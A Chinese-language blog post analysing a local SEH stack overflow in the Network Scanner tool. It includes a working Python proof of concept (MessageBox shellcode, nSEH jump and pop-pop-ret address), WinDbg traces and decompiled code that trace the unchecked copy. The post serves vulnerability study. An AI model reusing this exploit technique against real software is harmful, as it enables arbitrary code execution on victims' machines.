作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Network Scanner是一款扫描工具,其中有一个针对域名扫描的功能,但是这个功能对加载的字符串没有进行严格的控制,比如Textbox长度控制,或者长度校验导致如果不输入域名,而是改输入一个超长字符串,则会导致执行任意代码,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/8a419b10772d811ce5eea44cb88ae55b-NetScan.zip
PoC:
import struct
# MessageBoxA in NetScan.exe => 004042F1
mbox = (
"\x25\x41\x41\x41"
"\x41\x25\x32\x32"
"\x32\x32\x50\x68"
"\x70\x77\x6E\x64"
"\x54\x5F\x50\x57"
"\x57\x50\x35\x8E"
"\x60\x60\x55\x35"
"\x7F\x22\x20\x55"
"\x50\xC3"
)
# JUMP BACK to our shellcode!
nseh = (
# xor al,51h; Sets the ZF = 0 (We have to be very unlucky for eax to end in 51h)
"\x34\x51"
# jne -32h; Jump if ZF = 0
"\x75\xCC"
)
# pop pop ret => 00402E67
sehh = struct.pack("<L", 0x00402e67)
payl = "A" * (76-48)
payl+= mbox
payl+= "A"*(48-len(mbox))
payl+= nseh + sehh
with open("exploit.txt","wb") as f:
f.write(payl[:-1])
print payl
需要说明一下,这个本地代码执行,包括我的博客前面进行的本地代码执行需要通过本地的用户输入触发,在漏洞价值并没有那么高,但是可以作为漏洞分析的一个学习样本,这类漏洞通过PoC会生成一个txt,复制txt中的payload字符串粘贴到textbox中触发。
漏洞复现
首先生成一个畸形字符串,按照exploit-db上的方法在域名位置加载这个字符串,程序崩溃,直接执行会由于SEH到达eip可控位置。
0:002> g
(af4.de8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f564 ebx=00eeb690 ecx=006e6304 edx=41414141 esi=0012f590 edi=00f11c20
eip=00406e58 esp=0012f370 ebp=0012f568 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\8a419b10772d811ce5eea44cb88ae55b-
NetScan\NetScanner.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面
\8a419b10772d811ce5eea44cb88ae55b-NetScan\NetScanner.exe
NetScanner+0x6e58:
00406e58 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????
0:000> g
(af4.de8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012efa0 ebp=0012efc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
通过kb回溯堆栈调用
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f568 41414141 41414141 41414141 00004141 NetScanner+0x6e4c
0012f598 0044f2a6 014b9050 004ee572 0012f774 0x41414141
0012f70c 004d8865 0012f958 00e846d0 00000000 NetScanner+0x4f2a6
0012f758 0047fb85 00e846d0 0012f958 00e846d0 NetScanner+0xd8865
0012f784 004d89b8 000f0304 0012f9d0 00e5ea60 NetScanner+0x7fb85
0012f8d4 004d8865 0104096f 00e5ea60 00469847 NetScanner+0xd89b8
0012f920 004d7f03 0012f934 004d7f1b 0012f950 NetScanner+0xd8865
0012f950 0044f952 00000111 00000304 000f0304 NetScanner+0xd7f03
这个堆栈回溯作用并不是很大,因为只有一个exe,这个exe中很多GUI的MFC的内容以及功能函数都封装在程序里,而回溯中很多函数调用会涉及到在GUI加载调用功能函数,所以会不易命中想要到达的位置。
漏洞分析
在分析的过程中,我找到了关于GUI界面中处理域名的关键部分。
if ( (unsigned __int8)sub_4B79E8(&v23, L"Example: www.atlas.cz, www.google.com") )
{
sub_5FE3CC(v3, &v22);
if ( v22 )
{
if ( (unsigned __int8)sub_4B79E8(&v22, &off_6CD7BC) )
{
sub_5FDF0C(&v20, 0);
sub_407F04(v4, v20);
v21 = sub_5FE01C(v14, v15, v16, v17);
BYTE3(v21) = 0;
sub_5FE118(v5, &v19);
v6 = *(_DWORD *)(v2 + 1648);
sub_4D26E0(v7, v19);
v21 = sub_5FE01C(v14, v15, v16, v17);
BYTE3(v21) = -2;
sub_5FE118(v8, &v18);
v9 = *(_DWORD *)(v2 + 1652);
sub_4D26E0(v10, v18);
}
}
处理部分关键的字符串已经打印出来了,会调用到函数sub_4B79E8,这个函数就是处理GUI窗口中负责传入畸形字符串的部分,接下来如果接收到了域名字符串后,会调用sub_5fdf0c函数。
0:002> g
Breakpoint 1 hit
eax=0171b6dc ebx=00eeb690 ecx=00f40c48 edx=0012f590 esi=004ee99c edi=00f11c20
eip=006cd614 esp=0012f570 ebp=0012f598 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
NetScanner+0x2cd614:
006cd614 e8b30df3ff call NetScanner+0x1fe3cc (005fe3cc)
跟进这个函数,这个函数中处理的是和域名字符串,在这里是畸形字符串的连接。调用了WSA的函数开始处理。
int __usercall sub_5FE3CC@<eax>(int a1@<eax>, int *a2@<edx>)
{
v18 = 0;
v19 = 0;
v20 = 0;
v2 = a2;
v23 = a1;
sub_407E98();
v16 = &savedregs;
v15 = &loc_5FE508;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
sub_407EB0(v3, 0);
sub_4169E0(v4, &v20);
if ( v20 )
{
WSAStartup(0x101u, &WSAData);
sub_408104(0, v23);
sub_418BF4();
v5 = gethostbyname(&name);
if ( v5 )
{
v6 = v5->h_addr_list;
for ( i = 0; v6[i]; ++i )
{
v8 = *v2;
v9 = inet_ntoa(*(struct in_addr *)v6[i]);
sub_40803C(v10, v9);
sub_408478(v11, 3, &dword_5FE524, v18, v8);
}
v17 = *v2;
v12 = v17;
if ( v17 )
v12 = *(_DWORD *)(v17 - 4);
sub_408770(1, v12);
WSACleanup();
}
}
__writefsdword(0, v14);
sub_407EA0(&loc_5FE50F);
sub_406E4C(&v19);
sub_407EA0(v16);
}
跟进这个函数,可以看到WSAStartup之后,会调用给一个名为sub_418BF4的函数,在这个函数中,会调用拷贝畸形字符串,而在这个过程没有对畸形字符串进行控制,导致溢出,来看一下这个函数的内容。
int __fastcall sub_418BF4(int a1, int a2)
{
v10 = a2;
sub_40759C();
v9 = &savedregs;
v8 = &loc_418C6A;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
v2 = v10;
if ( v10 && *(_WORD *)(v10 - 10) != 1 )
v2 = sub_407068(0, v10);
v3 = v2;
if ( v2 )
v3 = *(_DWORD *)(v2 - 4);
v4 = sub_4075AC();
v5 = sub_418B84(v3, v4);
在函数中会调用到sub_418b84函数,这个函数中会处理畸形字符串,并执行拷贝,来看一下这个函数的内容。
_BYTE *__usercall sub_418B84@<eax>(_BYTE *result@<eax>, _BYTE *a2@<edx>, int a3@<ecx>)
{
_BYTE *v3; // edi@1
int v4; // ebx@1
bool v5; // zf@1
unsigned int v6; // ebx@6
char *v7; // edi@6
int v8; // ecx@6
v3 = a2;
v4 = a3;
v5 = a3 == 0;
if ( a3 )
{
do
{
if ( !a3 )
break;
v5 = *v3++ == 0;
--a3;
}
while ( !v5 );
if ( v5 )
++a3;
}
v6 = v4 - a3;
qmemcpy(result, a2, 4 * (v6 >> 2));
v7 = &result[4 * (v6 >> 2)];
v8 = v6 & 3;
qmemcpy(v7, &a2[4 * (v6 >> 2)], v8);
v7[v8] = 0;
return result;
}
这个函数中执行了qmemcpy,这个拷贝会造成栈溢出覆盖到关键指针,来跟踪一下覆盖的时候。
0:000> g
Breakpoint 1 hit
eax=0012f500 ebx=00000048 ecx=00000001 edx=0012f524 esi=01a0efa0 edi=0012f568
eip=00418ba5 esp=0012f33c ebp=0012f364 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
NetScanner+0x18ba5:
00418ba5 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0012f568=0012f598 ds:0023:01a0efa0=41414141
0:000> dd 0012f564
0012f564 41414141 0012f598 006cd619 0012f928
这里执行了拷贝,可以看到0012f564位置的关键指针被覆盖,随后返回后,回到最外层函数调用,紧接着调用了gethostbyname,这个函数明显是由于域名不能获取信息,导致后面的if语句判断不通过。
0:000> p
eax=0012f524 ebx=00eeb690 ecx=00000000 edx=01a0ef5c esi=0012f590 edi=00f11c20
eip=005fe461 esp=0012f368 ebp=0012f568 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
NetScanner+0x1fe461:
005fe461 e80e42f1ff call NetScanner+0x112674 (00512674)
0:000> p
eax=00000000 ebx=00eeb690 ecx=0000b5f7 edx=00290001 esi=0012f590 edi=00f11c20
eip=005fe466 esp=0012f36c ebp=0012f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
NetScanner+0x1fe466:
005fe466 85c0 test eax,eax
0:000> p
eax=00000000 ebx=00eeb690 ecx=0000b5f7 edx=00290001 esi=0012f590 edi=00f11c20
eip=005fe468 esp=0012f36c ebp=0012f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
NetScanner+0x1fe468:
005fe468 7467 je NetScanner+0x1fe4d1 (005fe4d1) [br=1]
0:000> p
eax=00000000 ebx=00eeb690 ecx=0000b5f7 edx=00290001 esi=0012f590 edi=00f11c20
eip=005fe4d1 esp=0012f36c ebp=0012f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
NetScanner+0x1fe4d1:
005fe4d1 33c0 xor eax,eax
这里je是if跳转不通过,进入到后面的WSACleanup处理,退出,随后会调用到另一个函数。
0:000> p
eax=0012f390 ebx=00eeb690 ecx=006e62e4 edx=01716c70 esi=0012f590 edi=00f11c20
eip=005fe4ff esp=0012f374 ebp=0012f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
NetScanner+0x1fe4ff:
005fe4ff 8d45fc lea eax,[ebp-4]
0:000> p
eax=0012f564 ebx=00eeb690 ecx=006e62e4 edx=01716c70 esi=0012f590 edi=00f11c20
eip=005fe502 esp=0012f374 ebp=0012f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
NetScanner+0x1fe502:
005fe502 e89999e0ff call NetScanner+0x7ea0 (00407ea0)
0:000> dc eax
0012f564 41414141 41414141 006cd600 0012f928 AAAAAAAA..l.(...
此时eax作为一个指针已经被覆盖了,随后会由于指针引用,导致异常触发,SEH异常处理,通过覆盖SEH指针,达到代码执行。
0:000> p
eax=0012f564 ebx=00eeb690 ecx=006e6304 edx=41414141 esi=0012f590 edi=00f11c20
eip=00406e4e esp=0012f370 ebp=0012f568 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
NetScanner+0x6e4e:
00406e4e 85d2 test edx,edx
0:000> p
eax=0012f564 ebx=00eeb690 ecx=006e6304 edx=41414141 esi=0012f590 edi=00f11c20
eip=00406e50 esp=0012f370 ebp=0012f568 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
NetScanner+0x6e50:
00406e50 741c je NetScanner+0x6e6e (00406e6e) [br=0]
0:000> p
eax=0012f564 ebx=00eeb690 ecx=006e6304 edx=41414141 esi=0012f590 edi=00f11c20
eip=00406e52 esp=0012f370 ebp=0012f568 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
NetScanner+0x6e52:
00406e52 c70000000000 mov dword ptr [eax],0 ds:0023:0012f564=41414141
0:000> p
eax=0012f564 ebx=00eeb690 ecx=006e6304 edx=41414141 esi=0012f590 edi=00f11c20
eip=00406e58 esp=0012f370 ebp=0012f568 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
NetScanner+0x6e58:
00406e58 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????